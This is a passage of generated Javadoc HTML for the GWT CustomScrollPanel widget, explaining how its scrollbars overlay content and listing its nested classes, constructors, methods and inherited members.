The postion of scrollbars in a <a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html" title="class in com.google.gwt.user.client.ui"><code>CustomScrollPanel</code></a> differs from that of
a native scrollable element. In a native element, scrollbars appear adjacent
to the content, shrinking the content client height and width when they
appear. <a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html" title="class in com.google.gwt.user.client.ui"><code>CustomScrollPanel</code></a> instead overlays scrollbars on top of the
content, so the content does not change size when scrollbars appear. If the
scrollbars obscures the content, you can set the <code>padding-top</code> and
<code>padding-bottom</code> of the content to shift the content out from
under the scrollbars.
</p>
<p>
NOTE: Unlike <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html" title="class in com.google.gwt.user.client.ui"><code>ScrollPanel</code></a>, which implements <a href="../../../../../../com/google/gwt/user/client/ui/RequiresResize.html" title="interface in com.google.gwt.user.client.ui"><code>RequiresResize</code></a> but
doesn't really require it, <a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html" title="class in com.google.gwt.user.client.ui"><code>CustomScrollPanel</code></a> actually does require
resize and should only be added to a panel that implements
<a href="../../../../../../com/google/gwt/user/client/ui/ProvidesResize.html" title="interface in com.google.gwt.user.client.ui"><code>ProvidesResize</code></a>, such as most layout panels and
<a href="../../../../../../com/google/gwt/user/client/ui/ResizeLayoutPanel.html" title="class in com.google.gwt.user.client.ui"><code>ResizeLayoutPanel</code></a>.
</p></div>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ======== NESTED CLASS SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="nested.class.summary">
<!-- -->
</a>
<h3>Nested Class Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Nested Class Summary table, listing nested classes, and an explanation">
<caption><span>Nested Classes</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Class and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static interface </code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.Resources.html" title="interface in com.google.gwt.user.client.ui">CustomScrollPanel.Resources</a></span></code>
<div class="block">A ClientBundle of resources used by this widget.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static interface </code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.Style.html" title="interface in com.google.gwt.user.client.ui">CustomScrollPanel.Style</a></span></code>
<div class="block">Styles used by this widget.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="nested.classes.inherited.from.class.com.google.gwt.user.client.ui.UIObject">
<!-- -->
</a>
<h3>Nested classes/interfaces inherited from class com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html" title="class in com.google.gwt.user.client.ui">UIObject</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/UIObject.DebugIdImpl.html" title="class in com.google.gwt.user.client.ui">UIObject.DebugIdImpl</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.DebugIdImplEnabled.html" title="class in com.google.gwt.user.client.ui">UIObject.DebugIdImplEnabled</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="nested.classes.inherited.from.class.com.google.gwt.user.client.ui.HasWidgets">
<!-- -->
</a>
<h3>Nested classes/interfaces inherited from interface com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/HasWidgets.html" title="interface in com.google.gwt.user.client.ui">HasWidgets</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/HasWidgets.ForIsWidget.html" title="interface in com.google.gwt.user.client.ui">HasWidgets.ForIsWidget</a></code></li>
</ul>
</li>
</ul>
<!-- =========== FIELD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="field.summary">
<!-- -->
</a>
<h3>Field Summary</h3>
<ul class="blockList">
<li class="blockList"><a name="fields.inherited.from.class.com.google.gwt.user.client.ui.SimplePanel">
<!-- -->
</a>
<h3>Fields inherited from class com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html" title="class in com.google.gwt.user.client.ui">SimplePanel</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html#widget">widget</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="fields.inherited.from.class.com.google.gwt.user.client.ui.Widget">
<!-- -->
</a>
<h3>Fields inherited from class com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#eventsToSink">eventsToSink</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="fields.inherited.from.class.com.google.gwt.user.client.ui.UIObject">
<!-- -->
</a>
<h3>Fields inherited from class com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html" title="class in com.google.gwt.user.client.ui">UIObject</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#DEBUG_ID_PREFIX">DEBUG_ID_PREFIX</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#MISSING_ELEMENT_ERROR">MISSING_ELEMENT_ERROR</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#SETELEMENT_TWICE_ERROR">SETELEMENT_TWICE_ERROR</a></code></li>
</ul>
</li>
</ul>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor.summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#CustomScrollPanel--">CustomScrollPanel</a></span>()</code>
<div class="block">Creates an empty <a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html" title="class in com.google.gwt.user.client.ui"><code>CustomScrollPanel</code></a>.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colOne"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#CustomScrollPanel-com.google.gwt.user.client.ui.CustomScrollPanel.Resources-">CustomScrollPanel</a></span>(<a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.Resources.html" title="interface in com.google.gwt.user.client.ui">CustomScrollPanel.Resources</a> resources)</code> </td>
</tr>
<tr class="altColor">
<td class="colOne"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#CustomScrollPanel-com.google.gwt.user.client.ui.Widget-">CustomScrollPanel</a></span>(<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a> child)</code>
<div class="block">Creates a <a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html" title="class in com.google.gwt.user.client.ui"><code>CustomScrollPanel</code></a> with the specified child widget.</div>
</td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method.summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd"> </span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd"> </span></span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr id="i0" class="altColor">
<td class="colFirst"><code>protected void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#doAttachChildren--">doAttachChildren</a></span>()</code>
<div class="block">If a widget contains one or more child widgets that are not in the logical
widget hierarchy (the child is physically connected only on the DOM level),
it must override this method and call <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onAttach--"><code>Widget.onAttach()</code></a> for each of its
child widgets.</div>
</td>
</tr>
<tr id="i1" class="rowColor">
<td class="colFirst"><code>protected void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#doDetachChildren--">doDetachChildren</a></span>()</code>
<div class="block">If a widget contains one or more child widgets that are not in the logical
widget hierarchy (the child is physically connected only on the DOM level),
it must override this method and call <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onDetach--"><code>Widget.onDetach()</code></a> for each of its
child widgets.</div>
</td>
</tr>
<tr id="i2" class="altColor">
<td class="colFirst"><code><a href="../../../../../../com/google/gwt/user/client/ui/HorizontalScrollbar.html" title="interface in com.google.gwt.user.client.ui">HorizontalScrollbar</a></code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#getHorizontalScrollbar--">getHorizontalScrollbar</a></span>()</code>
<div class="block">Get the scrollbar used for horizontal scrolling.</div>
</td>
</tr>
<tr id="i3" class="rowColor">
<td class="colFirst"><code><a href="../../../../../../com/google/gwt/user/client/ui/VerticalScrollbar.html" title="interface in com.google.gwt.user.client.ui">VerticalScrollbar</a></code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#getVerticalScrollbar--">getVerticalScrollbar</a></span>()</code>
<div class="block">Get the scrollbar used for vertical scrolling.</div>
</td>
</tr>
<tr id="i4" class="altColor">
<td class="colFirst"><code>protected void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#onAttach--">onAttach</a></span>()</code>
<div class="block">
This method is called when a widget is attached to the browser's document.</div>
</td>
</tr>
<tr id="i5" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#onBrowserEvent-com.google.gwt.user.client.Event-">onBrowserEvent</a></span>(<a href="../../../../../../com/google/gwt/user/client/Event.html" title="class in com.google.gwt.user.client">Event</a> event)</code>
<div class="block">Fired whenever a browser event is received.</div>
</td>
</tr>
<tr id="i6" class="altColor">
<td class="colFirst"><code>protected void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#onDetach--">onDetach</a></span>()</code>
<div class="block">
This method is called when a widget is detached from the browser's
document.</div>
</td>
</tr>
<tr id="i7" class="rowColor">
<td class="colFirst"><code>protected void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#onLoad--">onLoad</a></span>()</code>
<div class="block">This method is called immediately after a widget becomes attached to the
browser's document.</div>
</td>
</tr>
<tr id="i8" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#onResize--">onResize</a></span>()</code>
<div class="block">This method must be called whenever the implementor's size has been
modified.</div>
</td>
</tr>
<tr id="i9" class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#remove-com.google.gwt.user.client.ui.Widget-">remove</a></span>(<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a> w)</code>
<div class="block">Removes a child widget.</div>
</td>
</tr>
<tr id="i10" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#removeHorizontalScrollbar--">removeHorizontalScrollbar</a></span>()</code>
<div class="block">Remove the <a href="../../../../../../com/google/gwt/user/client/ui/HorizontalScrollbar.html" title="interface in com.google.gwt.user.client.ui"><code>HorizontalScrollbar</code></a>, if one exists.</div>
</td>
</tr>
<tr id="i11" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#removeVerticalScrollbar--">removeVerticalScrollbar</a></span>()</code>
<div class="block">Remove the <a href="../../../../../../com/google/gwt/user/client/ui/VerticalScrollbar.html" title="interface in com.google.gwt.user.client.ui"><code>VerticalScrollbar</code></a>, if one exists.</div>
</td>
</tr>
<tr id="i12" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#setAlwaysShowScrollBars-boolean-">setAlwaysShowScrollBars</a></span>(boolean alwaysShow)</code>
<div class="block">Sets whether this panel always shows its scroll bars, or only when
necessary.</div>
</td>
</tr>
<tr id="i13" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#setHorizontalScrollbar-com.google.gwt.user.client.ui.HorizontalScrollbar-int-">setHorizontalScrollbar</a></span>(<a href="../../../../../../com/google/gwt/user/client/ui/HorizontalScrollbar.html" title="interface in com.google.gwt.user.client.ui">HorizontalScrollbar</a> scrollbar,
int height)</code>
<div class="block">Set the scrollbar used for horizontal scrolling.</div>
</td>
</tr>
<tr id="i14" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#setVerticalScrollbar-com.google.gwt.user.client.ui.VerticalScrollbar-int-">setVerticalScrollbar</a></span>(<a href="../../../../../../com/google/gwt/user/client/ui/VerticalScrollbar.html" title="interface in com.google.gwt.user.client.ui">VerticalScrollbar</a> scrollbar,
int width)</code>
<div class="block">Set the scrollbar used for vertical scrolling.</div>
</td>
</tr>
<tr id="i15" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.html#setWidget-com.google.gwt.user.client.ui.Widget-">setWidget</a></span>(<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a> w)</code>
<div class="block">Sets this panel's widget.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.com.google.gwt.user.client.ui.ScrollPanel">
<!-- -->
</a>
<h3>Methods inherited from class com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html" title="class in com.google.gwt.user.client.ui">ScrollPanel</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#addScrollHandler-com.google.gwt.event.dom.client.ScrollHandler-">addScrollHandler</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#addScrollListener-com.google.gwt.user.client.ui.ScrollListener-">addScrollListener</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#ensureVisible-com.google.gwt.user.client.ui.UIObject-">ensureVisible</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#getContainerElement--">getContainerElement</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#getHorizontalScrollPosition--">getHorizontalScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#getMaximumHorizontalScrollPosition--">getMaximumHorizontalScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#getMaximumVerticalScrollPosition--">getMaximumVerticalScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#getMinimumHorizontalScrollPosition--">getMinimumHorizontalScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#getMinimumVerticalScrollPosition--">getMinimumVerticalScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#getScrollableElement--">getScrollableElement</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#getScrollPosition--">getScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#getVerticalScrollPosition--">getVerticalScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#isTouchScrollingDisabled--">isTouchScrollingDisabled</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#removeScrollListener-com.google.gwt.user.client.ui.ScrollListener-">removeScrollListener</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#scrollToBottom--">scrollToBottom</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#scrollToLeft--">scrollToLeft</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#scrollToRight--">scrollToRight</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#scrollToTop--">scrollToTop</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#setHeight-java.lang.String-">setHeight</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#setHorizontalScrollPosition-int-">setHorizontalScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#setScrollPosition-int-">setScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#setSize-java.lang.String-java.lang.String-">setSize</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#setTouchScrollingDisabled-boolean-">setTouchScrollingDisabled</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#setVerticalScrollPosition-int-">setVerticalScrollPosition</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html#setWidth-java.lang.String-">setWidth</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.com.google.gwt.user.client.ui.SimplePanel">
<!-- -->
</a>
<h3>Methods inherited from class com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html" title="class in com.google.gwt.user.client.ui">SimplePanel</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html#add-com.google.gwt.user.client.ui.Widget-">add</a>, <a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html#getWidget--">getWidget</a>, <a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html#iterator--">iterator</a>, <a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html#setWidget-com.google.gwt.user.client.ui.IsWidget-">setWidget</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.com.google.gwt.user.client.ui.Panel">
<!-- -->
</a>
<h3>Methods inherited from class com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/Panel.html" title="class in com.google.gwt.user.client.ui">Panel</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/Panel.html#add-com.google.gwt.user.client.ui.IsWidget-">add</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Panel.html#adopt-com.google.gwt.user.client.ui.Widget-">adopt</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Panel.html#clear--">clear</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Panel.html#orphan-com.google.gwt.user.client.ui.Widget-">orphan</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Panel.html#remove-com.google.gwt.user.client.ui.IsWidget-">remove</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.com.google.gwt.user.client.ui.Widget">
<!-- -->
</a>
<h3>Methods inherited from class com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#addAttachHandler-com.google.gwt.event.logical.shared.AttachEvent.Handler-">addAttachHandler</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#addBitlessDomHandler-H-com.google.gwt.event.dom.client.DomEvent.Type-">addBitlessDomHandler</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#addDomHandler-H-com.google.gwt.event.dom.client.DomEvent.Type-">addDomHandler</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#addHandler-H-com.google.gwt.event.shared.GwtEvent.Type-">addHandler</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#asWidget--">asWidget</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#asWidgetOrNull-com.google.gwt.user.client.ui.IsWidget-">asWidgetOrNull</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#createHandlerManager--">createHandlerManager</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#delegateEvent-com.google.gwt.user.client.ui.Widget-com.google.gwt.event.shared.GwtEvent-">delegateEvent</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#ensureHandlers--">ensureHandlers</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#fireEvent-com.google.gwt.event.shared.GwtEvent-">fireEvent</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#getHandlerCount-com.google.gwt.event.shared.GwtEvent.Type-">getHandlerCount</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#getHandlerManager--">getHandlerManager</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#getLayoutData--">getLayoutData</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#getParent--">getParent</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#isAttached--">isAttached</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#isOrWasAttached--">isOrWasAttached</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#onUnload--">onUnload</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#removeFromParent--">removeFromParent</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#replaceElement-com.google.gwt.dom.client.Element-">replaceElement</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#setLayoutData-java.lang.Object-">setLayoutData</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#setParent-com.google.gwt.user.client.ui.Widget-">setParent</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#sinkEvents-int-">sinkEvents</a>, <a href="../../../../../../com/google/gwt/user/client/ui/Widget.html#unsinkEvents-int-">unsinkEvents</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.com.google.gwt.user.client.ui.UIObject">
<!-- -->
</a>
<h3>Methods inherited from class com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html" title="class in com.google.gwt.user.client.ui">UIObject</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#addStyleDependentName-java.lang.String-">addStyleDependentName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#addStyleName-java.lang.String-">addStyleName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#ensureDebugId-com.google.gwt.dom.client.Element-java.lang.String-">ensureDebugId</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#ensureDebugId-com.google.gwt.dom.client.Element-java.lang.String-java.lang.String-">ensureDebugId</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#ensureDebugId-java.lang.String-">ensureDebugId</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getAbsoluteLeft--">getAbsoluteLeft</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getAbsoluteTop--">getAbsoluteTop</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getElement--">getElement</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getOffsetHeight--">getOffsetHeight</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getOffsetWidth--">getOffsetWidth</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getStyleElement--">getStyleElement</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getStyleName--">getStyleName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getStyleName-com.google.gwt.dom.client.Element-">getStyleName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getStylePrimaryName--">getStylePrimaryName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getStylePrimaryName-com.google.gwt.dom.client.Element-">getStylePrimaryName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#getTitle--">getTitle</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#isVisible--">isVisible</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#isVisible-com.google.gwt.dom.client.Element-">isVisible</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#onEnsureDebugId-java.lang.String-">onEnsureDebugId</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#removeStyleDependentName-java.lang.String-">removeStyleDependentName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#removeStyleName-java.lang.String-">removeStyleName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#resolvePotentialElement--">resolvePotentialElement</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setElement-com.google.gwt.dom.client.Element-">setElement</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setElement-com.google.gwt.user.client.Element-">setElement</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setPixelSize-int-int-">setPixelSize</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setStyleDependentName-java.lang.String-boolean-">setStyleDependentName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setStyleName-com.google.gwt.dom.client.Element-java.lang.String-">setStyleName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setStyleName-com.google.gwt.dom.client.Element-java.lang.String-boolean-">setStyleName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setStyleName-java.lang.String-">setStyleName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setStyleName-java.lang.String-boolean-">setStyleName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setStylePrimaryName-com.google.gwt.dom.client.Element-java.lang.String-">setStylePrimaryName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setStylePrimaryName-java.lang.String-">setStylePrimaryName</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setTitle-java.lang.String-">setTitle</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setVisible-boolean-">setVisible</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#setVisible-com.google.gwt.dom.client.Element-boolean-">setVisible</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#sinkBitlessEvent-java.lang.String-">sinkBitlessEvent</a>, <a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html#toString--">toString</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait</code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.com.google.gwt.event.shared.HasHandlers">
<!-- -->
</a>
<h3>Methods inherited from interface com.google.gwt.event.shared.<a href="../../../../../../com/google/gwt/event/shared/HasHandlers.html" title="interface in com.google.gwt.event.shared">HasHandlers</a></h3>
<code><a href="../../../../../../com/google/gwt/event/shared/HasHandlers.html#fireEvent-com.google.gwt.event.shared.GwtEvent-">fireEvent</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.com.google.gwt.user.client.ui.IsWidget">
<!-- -->
</a>
<h3>Methods inherited from interface com.google.gwt.user.client.ui.<a href="../../../../../../com/google/gwt/user/client/ui/IsWidget.html" title="interface in com.google.gwt.user.client.ui">IsWidget</a></h3>
<code><a href="../../../../../../com/google/gwt/user/client/ui/IsWidget.html#asWidget--">asWidget</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.java.lang.Iterable">
<!-- -->
</a>
<h3>Methods inherited from interface java.lang.Iterable</h3>
<code>forEach, spliterator</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor.detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="CustomScrollPanel--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>CustomScrollPanel</h4>
<pre>public CustomScrollPanel()</pre>
